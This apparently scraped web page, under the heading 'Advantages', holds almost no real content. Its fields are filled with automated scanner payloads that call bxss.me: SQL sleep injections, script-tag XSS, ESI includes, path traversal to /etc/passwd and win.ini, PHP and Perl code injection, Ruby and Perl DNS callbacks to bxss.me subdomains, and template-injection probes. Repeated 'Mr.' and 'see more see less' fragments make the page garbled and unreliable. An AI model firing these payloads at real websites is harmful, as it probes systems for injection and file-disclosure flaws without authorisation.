Advantages

Mr.

12S2529A70
12S2529A70
see more see less

Mr.

'"()
'"()
see more see less

1GZE3SSEA0<esi:include src="http://bxss.me/rpb.png"/>

Mr.

"&&sleep(27*1000)*anyuxh&&"
"&&sleep(27*1000)*anyuxh&&"
see more see less

Mr.

redirtest.acx
redirtest.acx
see more see less

redirtest.acx

Mr.<ScRiPt >ZgXN(9267)</ScRiPt>

Mr.

'"()
'"()
see more see less

Mr.

'&&sleep(27*1000)*glujcl&&'
'&&sleep(27*1000)*glujcl&&'
see more see less

Mr.

"&&sleep(27*1000)*vuahje&&"
"&&sleep(27*1000)*vuahje&&"
see more see less

Mr.

'||sleep(27*1000)*cvlvhb||'
'||sleep(27*1000)*cvlvhb||'
see more see less

Mr.

"||sleep(27*1000)*cafmxb||"
"||sleep(27*1000)*cafmxb||"
see more see less

Mr.'&&sleep(27*1000)*lpfdaw&&'

Mr."&&sleep(27*1000)*umoniq&&"

Mr.'||sleep(27*1000)*fuqoxv||'

Mr."||sleep(27*1000)*cpoujo||"

Mr.

12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
see more see less

Mr.

${10000024+9999391}
${10000024+9999391}
see more see less

${10000463+9999252}

12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡

Mr.<esi:include src="http://bxss.me/rpb.png"/>

Mr.

/../../../../../../../../../../windows/system32/BITSADMIN.exe
/../../../../../../../../../../windows/system32/BITSADMIN.exe
see more see less

/../../../../../../../../../../windows/system32/BITSADMIN.exe

Mr.

../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../etc/passwd
see more see less

Mr.

../../../../../../../../../../../../../../windows/win.ini
../../../../../../../../../../../../../../windows/win.ini
see more see less

Mr.

file:///etc/passwd
file:///etc/passwd
see more see less

Mr.

"+"A".concat(70-3).concat(22*4).concat(100).concat(87).concat(110).concat(73)+(require"socket" Socket.gethostbyname("hitqn"+"mdbwmzfn37a48.bxss.me.")[3].to_s)+"
"+"A".concat(70-3).concat(22*4).concat(100).concat(87).concat(110).concat(73)+(require"socket" Socket.gethostbyname("hitqn"+"mdbwmzfn37a48.bxss.me.")[3].to_s)+"
see more see less

Mr.

'+'A'.concat(70-3).concat(22*4).concat(114).concat(85).concat(121).concat(73)+(require'socket' Socket.gethostbyname('hitqz'+'mudhdsdnf1b68.bxss.me.')[3].to_s)+'
'+'A'.concat(70-3).concat(22*4).concat(114).concat(85).concat(121).concat(73)+(require'socket' Socket.gethostbyname('hitqz'+'mudhdsdnf1b68.bxss.me.')[3].to_s)+'
see more see less

Mr.

'A'.concat(70-3).concat(22*4).concat(111).concat(85).concat(106).concat(83)+(require'socket' Socket.gethostbyname('hitop'+'dhroleay8f7cd.bxss.me.')[3].to_s)
'A'.concat(70-3).concat(22*4).concat(111).concat(85).concat(106).concat(83)+(require'socket' Socket.gethostbyname('hitop'+'dhroleay8f7cd.bxss.me.')[3].to_s)
see more see less

Mr.

../
../
see more see less

Mr.

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
see more see less

Mr.

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
see more see less

Mr.

/etc/shells
/etc/shells
see more see less

Mr.

../../../../../../../../../../../../../../etc/shells
../../../../../../../../../../../../../../etc/shells
see more see less

Mr.

c:/windows/win.ini
c:/windows/win.ini
see more see less

Mr.

ctime sleep p0 (I30 tp1 Rp2 .
ctime sleep p0 (I30 tp1 Rp2 .
see more see less

Mr.

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
see more see less

Mr.

';print(md5(31337));$a='
';print(md5(31337));$a='
see more see less

"+"A".concat(70-3).concat(22*4).concat(106).concat(77).concat(105).concat(85)+(require"socket" Socket.gethostbyname("hitao"+"wtpftsthd6b31.bxss.me.")[3].to_s)+"

../../../../../../../../../../../../../../etc/passwd

Mr.

HttP://bxss.me/t/xss.html?%00
HttP://bxss.me/t/xss.html?%00
see more see less

Mr.

bxss.me/t/xss.html?%00
bxss.me/t/xss.html?%00
see more see less

Mr.

bxss.me
bxss.me
see more see less

Mr.

Http://bxss.me/t/fit.txt
Http://bxss.me/t/fit.txt
see more see less

Mr.

http://bxss.me/t/fit.txt%3F.jpg
http://bxss.me/t/fit.txt%3F.jpg
see more see less

HttP://bxss.me/t/xss.html?%00

bxss.me/t/xss.html?%00

'+'A'.concat(70-3).concat(22*4).concat(111).concat(74).concat(113).concat(83)+(require'socket' Socket.gethostbyname('hitpe'+'lfxbuthq6159c.bxss.me.')[3].to_s)+'

'A'.concat(70-3).concat(22*4).concat(109).concat(89).concat(108).concat(81)+(require'socket' Socket.gethostbyname('hitdl'+'gmxrdqhlaf54b.bxss.me.')[3].to_s)

../../../../../../../../../../../../../../windows/win.ini

file:///etc/passwd

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.

Mr.

";print(md5(31337));$a="
";print(md5(31337));$a="
see more see less

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.

Mr.

${@print(md5(31337))}
${@print(md5(31337))}
see more see less

/etc/shells

../../../../../../../../../../../../../../etc/shells

c:/windows/win.ini

bxss.me

Http://bxss.me/t/fit.txt

Mr.

${@print(md5(31337))}\
${@print(md5(31337))}\
see more see less

Mr.

'.print(md5(31337)).'
'.print(md5(31337)).'
see more see less

Mr.

'.gethostbyname(lc('hitsg'.'tlopqqht3fbca.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(102).chr(83).chr(122).chr(67).'
'.gethostbyname(lc('hitsg'.'tlopqqht3fbca.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(102).chr(83).chr(122).chr(67).'
see more see less

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

';print(md5(31337));$a='

";print(md5(31337));$a="

Mr.

".gethostbyname(lc("hitqm"."oljlbjyv2fbe4.bxss.me."))."A".chr(67).chr(hex("58")).chr(97).chr(70).chr(118).chr(87)."
".gethostbyname(lc("hitqm"."oljlbjyv2fbe4.bxss.me."))."A".chr(67).chr(hex("58")).chr(97).chr(70).chr(118).chr(87)."
see more see less

${@print(md5(31337))}

Mr.

gethostbyname(lc('hitjm'.'sphmccpfe17d0.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(99).chr(74).chr(107).chr(68)
gethostbyname(lc('hitjm'.'sphmccpfe17d0.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(99).chr(74).chr(107).chr(68)
see more see less

${@print(md5(31337))}\

'.gethostbyname(lc('hithp'.'gxzeirrk61206.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(101).chr(68).chr(104).chr(85).'

".gethostbyname(lc("hitai"."trmmxyhy2e3e4.bxss.me."))."A".chr(67).chr(hex("58")).chr(107).chr(66).chr(107).chr(66)."

gethostbyname(lc('hitnx'.'mddxxvacbc195.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(106).chr(83).chr(105).chr(76)

http://bxss.me/t/fit.txt%3F.

'.print(md5(31337)).'

Mr.

Mr.

*if(now()=sysdate(),sleep(15),0)
*if(now()=sysdate(),sleep(15),0)
see more see less

Mr.

response.write(9219534*9589789)
response.write(9219534*9589789)
see more see less

Mr.

'+response.write(9219534*9589789)+'
'+response.write(9219534*9589789)+'
see more see less

Mr.

"+response.write(9219534*9589789)+"
"+response.write(9219534*9589789)+"
see more see less

Mr.

<% response.write(9219534*9589789) %>
<% response.write(9219534*9589789) %>
see more see less

Mr.

+response.write(9219534*9589789)'
+response.write(9219534*9589789)'
see more see less

response.write(9554382*9454764)

'+response.write(9554382*9454764)+'

"+response.write(9554382*9454764)+"

Mr.

'"()&%
'"()&%
see more see less

<% response.write(9554382*9454764) %>

+response.write(9554382*9454764)'

Mr.

'"()&%
'"()&%
see more see less

Mr.

9722922
9722922
see more see less

Mr.

bfg2089%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl2089
bfg2089%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl2089
see more see less

Mr.

bfgx3126%C0%BEz1%C0%BCz2a%90bcxhjl3126
bfgx3126%C0%BEz1%C0%BCz2a%90bcxhjl3126
see more see less

Mr.

<%={{={@{#{${dfb}}%>
<%={{={@{#{${dfb}}%>
see more see less

Mr.

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
see more see less

Mr.

dfb{{98991*97996}}xca
dfb{{98991*97996}}xca
see more see less

Mr.

dfb[[${98991*97996}]]xca
dfb[[${98991*97996}]]xca
see more see less

Mr.

dfb__${98991*97996}__::.x
dfb__${98991*97996}__::.x
see more see less

Mr.

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
see more see less

Mr.

-->